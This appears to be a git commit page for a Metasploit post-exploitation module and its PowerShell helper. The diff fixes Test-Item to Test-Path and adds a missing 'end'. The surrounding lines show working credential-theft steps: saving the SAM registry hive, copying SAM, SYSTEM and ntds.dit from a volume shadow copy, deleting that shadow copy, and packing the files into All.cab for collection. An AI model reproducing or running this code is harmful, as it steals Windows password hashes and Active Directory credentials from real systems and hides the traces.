Fixed an issue in the powershell script
parent
0fa0fe3bf8
commit
2fb42ff019
|
@ -130,7 +130,7 @@ $command3 = "cmd.exe /c reg save HKLM\SAM .\SAM"
|
||||||
iex $command3
|
iex $command3
|
||||||
|
|
||||||
(Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $volume_shadow}).Delete()
|
(Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $volume_shadow}).Delete()
|
||||||
if (Test-Item "All.cab"){
|
if (Test-Path "All.cab"){
|
||||||
Remove-Item "All.cab"
|
Remove-Item "All.cab"
|
||||||
}
|
}
|
||||||
New-CabinetFile -Name All.cab -File "SAM","SYSTEM","ntds.dit"
|
New-CabinetFile -Name All.cab -File "SAM","SYSTEM","ntds.dit"
|
||||||
|
|
|
@ -146,3 +146,4 @@ class MetasploitModule < Msf::Post
|
||||||
print_good("All.cab Removed")
|
print_good("All.cab Removed")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
Loading…
Reference in New Issue